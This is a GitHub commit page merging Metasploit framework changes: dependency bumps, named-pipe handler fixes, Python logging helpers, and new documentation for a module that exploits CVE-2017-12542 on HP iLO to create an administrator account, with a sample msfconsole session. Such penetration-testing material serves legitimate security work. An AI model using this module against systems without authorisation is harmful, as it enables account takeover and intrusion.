Skip to content

Commit

Permalink
Merge branch 'rapid7/master' into goliath
Browse files Browse the repository at this point in the history
  • Loading branch information
jbarnett-r7 committed Mar 23, 2018
2 parents eb47962 + b9fc786 commit 6b3a4a5
Show file tree
Hide file tree
Showing 20 changed files with 815 additions and 163 deletions.
14 changes: 7 additions & 7 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -110,7 +110,7 @@ GEM
backports (3.11.1)
bcrypt (3.1.11)
bcrypt_pbkdf (1.0.0)
bindata (2.4.2)
bindata (2.4.3)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
Expand All @@ -119,7 +119,7 @@ GEM
daemons (1.2.4)
diff-lcs (1.3)
dnsruby (1.60.2)
docile (1.1.5)
docile (1.3.0)
erubis (2.7.0)
eventmachine (1.2.3)
factory_girl (4.9.0)
Expand Down Expand Up @@ -159,7 +159,7 @@ GEM
logging (2.2.2)
little-plugger (~> 1.1)
multi_json (~> 1.10)
loofah (2.2.0)
loofah (2.2.2)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memoist (0.16.0)
Expand Down Expand Up @@ -252,7 +252,7 @@ GEM
activesupport (= 4.2.10)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.0)
rake (12.3.1)
rb-readline (0.5.5)
recog (2.1.18)
nokogiri
Expand Down Expand Up @@ -293,7 +293,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.10)
rex-socket (0.1.12)
rex-core
rex-sslscan (0.1.5)
rex-core
Expand Down Expand Up @@ -343,8 +343,8 @@ GEM
faraday (~> 0.9)
jwt (>= 1.5, < 3.0)
multi_json (~> 1.10)
simplecov (0.15.1)
docile (~> 1.1.0)
simplecov (0.16.1)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
Expand Down
Binary file modified db/modules_metadata_base.pstore
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
This module exploits the CVE-2017-12542 for authentication bypass on HP iLO, which is 100% stable when exploited this way, to create an arbitrary administrator account.

## Verification Steps

1. Start `msfconsole`
2. `use auxiliary/admin/hp/hp_ilo_create_admin_account`
3. Set `RHOST`
4. run `check` to check if remote host is vulnerable (module tries to list accounts using the REST API)
5. Set `USERNAME` and `PASSWORD` to specify a new administrator account credentials
6. run `run` to actually create the account on the iLO

## Options

**USERNAME**

The username of the new administrator account. Defaults to a random string.

**PASSWORD**

The password of the new administrator account. Defaults to a random string.

## Scenarios

### New administrator account creation

```
msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set RHOST 192.168.42.78
RHOST => 192.168.42.78
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > check
[+] 192.168.42.78:443 The target is vulnerable.
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set USERNAME test_user
USERNAME => test_user
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set PASSWORD test_password
PASSWORD => test_password
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run
[*] Trying to create account test_user...
[+] Account test_user/test_password created successfully.
[*] Auxiliary module execution completed
msf auxiliary(admin/hp/hp_ilo_create_admin_account) >
```
27 changes: 27 additions & 0 deletions lib/metasploit/framework/login_scanner/ssh.rb
Original file line number Diff line number Diff line change
Expand Up @@ -146,6 +146,33 @@ def set_sane_defaults
self.verbosity = :fatal if self.verbosity.nil?
end

public

def get_platform(proof)
case proof
when /Linux/
'linux'
when /Darwin/
'osx'
when /SunOS/
'solaris'
when /BSD/
'bsd'
when /HP-UX/
'hpux'
when /AIX/
'aix'
when /Win32|Windows/
'windows'
when /Unknown command or computer name/
'cisco-ios'
when /unknown keyword/ # ScreenOS
'juniper'
when /JUNOS Base OS/ #JunOS
'juniper'
end
end

end

end
Expand Down
75 changes: 40 additions & 35 deletions lib/msf/core/handler/bind_named_pipe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@
# 1) A peek named pipe operation is carried out before every read to prevent blocking. This
# generates extra traffic. SMB echo requests are also generated to force the packet
# dispatcher to perform a read.
# 2) SMB1 only. Switch to ruby_smb.
#

#
Expand All @@ -23,21 +24,23 @@
# A peek operation on the pipe fixes this.
#
class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe
attr_accessor :mutex, :last_comm, :write_queue, :write_thread, :read_buff, :echo_thread, :server_max_buffer_size
attr_accessor :mutex, :last_comm, :write_queue, :write_thread, :read_buff, :echo_thread, :simple, :server_max_buffer_size

STATUS_BUFFER_OVERFLOW = 0x80000005
STATUS_PIPE_BROKEN = 0xc000014b

def initialize(*args, server_max_buffer_size:)
def initialize(*args, simple:, server_max_buffer_size:)
super(*args)
self.client = args[0]
self.simple = simple
self.client = simple.client
self.mutex = Mutex.new # synchronize read/writes
self.last_comm = Time.now # last successfull read/write
self.write_queue = Queue.new # queue message to send
self.write_queue = Queue.new # messages to send
self.write_thread = Thread.new { dispatcher }
self.echo_thread = Thread.new { force_read }
self.read_buff = ''
self.server_max_buffer_size = server_max_buffer_size
self.chunk_size = server_max_buffer_size - 260
self.server_max_buffer_size = server_max_buffer_size # max transaction size
self.chunk_size = server_max_buffer_size - 260 # max read/write size
end

# Check if there are any bytes to read and return number available. Access must be synchronized.
Expand All @@ -46,6 +49,9 @@ def peek_named_pipe
setup = [0x23, self.file_id].pack('vv')
# Must ignore errors since we expect STATUS_BUFFER_OVERFLOW
pkt = self.client.trans_maxzero('\\PIPE\\', '', '', 2, setup, false, true, true)
if pkt['Payload']['SMB'].v['ErrorClass'] == STATUS_PIPE_BROKEN
raise IOError
end
avail = 0
begin
avail = pkt.to_s[pkt['Payload'].v['ParamOffset']+4, 2].unpack('v')[0]
Expand Down Expand Up @@ -80,7 +86,7 @@ def force_read
# Runs as a thread and synchronizes writes. Allows write operations to return
# immediately instead of waiting for the mutex.
def dispatcher
while true
while not self.write_queue.closed?
data = self.write_queue.pop
self.mutex.synchronize do
sent = 0
Expand All @@ -98,40 +104,38 @@ def dispatcher
# Intercepts the socket.close from the session manager when the session dies.
# Cleanly terminates the SMB session and closes the socket.
def close
self.echo_thread.kill rescue nil
# Give the meterpreter shutdown command a chance
self.write_queue.close
if self.write_queue.size > 0
sleep(1.0)
end
self.write_thread.kill

begin
# close pipe
super
rescue => e
if self.write_thread.join(2.0)
self.write_thread.kill
end
rescue
end

# close pipe, share, and socket
super rescue nil
self.simple.disconnect(self.simple.last_share) rescue nil
self.client.socket.close
end

def read(count)
data = ''
begin
if count > self.read_buff.length
# need more data to satisfy request
self.mutex.synchronize do
avail = peek_named_pipe
if avail > 0
left = [count-self.read_buff.length, avail].max
while left > 0
buff = super([left, self.chunk_size].min)
self.last_comm = Time.now
left -= buff.length
self.read_buff += buff
end
if count > self.read_buff.length
# need more data to satisfy request
self.mutex.synchronize do
avail = peek_named_pipe
if avail > 0
left = [count-self.read_buff.length, avail].max
while left > 0
buff = super([left, self.chunk_size].min)
self.last_comm = Time.now
left -= buff.length
self.read_buff += buff
end
end
end
rescue
end

data = self.read_buff[0, [count, self.read_buff.length].min]
Expand Down Expand Up @@ -190,7 +194,8 @@ def initialize(*args)
def create_pipe(path)
pkt = self.client.create_pipe(path, Rex::Proto::SMB::Constants::CREATE_ACCESS_EXIST)
file_id = pkt['Payload'].v['FileID']
self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id, server_max_buffer_size: self.server_max_buffer_size)
self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id, simple: self,
server_max_buffer_size: self.server_max_buffer_size)
end
end

Expand All @@ -202,23 +207,23 @@ module BindNamedPipe

#
# Returns the string representation of the handler type, in this case
# 'reverse_named_pipe'.
# 'bind_named_pipe'.
#
def self.handler_type
"bind_named_pipe"
end

#
# Returns the connection-described general handler type, in this case
# 'reverse'.
# 'bind'.
#
def self.general_handler_type
"bind"
end

#
# Initializes the reverse handler and ads the options that are required
# for reverse named pipe payloads.
# Initializes the handler and ads the options that are required for
# bind named pipe payloads.
#
def initialize(info={})
super
Expand Down Expand Up @@ -334,7 +339,7 @@ def start_handler
print_error("Failed to connect to pipe #{smbshare}")
return
end

vprint_status("Opened pipe \\#{pipe_name}")

# Increment the has connection counter
Expand Down
35 changes: 35 additions & 0 deletions lib/msf/core/modules/external/python/metasploit/module.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,43 @@
import json
import logging
import os
import sys


class LogFormatter(logging.Formatter):
def __init__(self, prefix, *args, **kwargs):
super(LogFormatter, self).__init__(*args, **kwargs)
self.prefix = prefix

def format(self, record):
return self.prefix + record.msg


class LogHandler(logging.Handler):
def emit(self, record):
level = 'debug'
if record.levelno >= logging.ERROR:
level = 'error'
elif record.levelno >= logging.WARNING:
level = 'warning'
elif record.levelno >= logging.INFO:
level = 'info'
log(self.format(record), level)
return

@classmethod
def setup(cls, level=logging.DEBUG, name=None, msg_prefix=None):
logger = logging.getLogger(name)
handler = cls()

if level is not None:
logger.setLevel(level)
if msg_prefix is not None:
handler.setFormatter(LogFormatter(msg_prefix))
logger.addHandler(handler)
return handler


def log(message, level='info'):
rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level,
Expand Down
4 changes: 2 additions & 2 deletions lib/msf/core/modules/external/shim.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,9 @@ def self.generate(module_path)
capture_server(mod)
when 'dos'
dos(mod)
when 'scanner.single'
when 'single_scanner'
single_scanner(mod)
when 'scanner.multi'
when 'multi_scanner'
multi_scanner(mod)
else
# TODO have a nice load error show up in the logs
Expand Down
3 changes: 2 additions & 1 deletion lib/msf/core/modules/external/templates/multi_scanner.erb
Original file line number Diff line number Diff line change
Expand Up @@ -16,12 +16,13 @@ class MetasploitModule < Msf::Auxiliary
})

register_options([
OptInt.new('batch_size', [false, 'Number of hosts to run in each batch', 200]),
<%= meta[:options] %>
])
end

def run_batch_size
200
datastore['batch_size']
end

def run_batch(ips)
Expand Down
Loading

0 comments on commit 6b3a4a5

Please sign in to comment.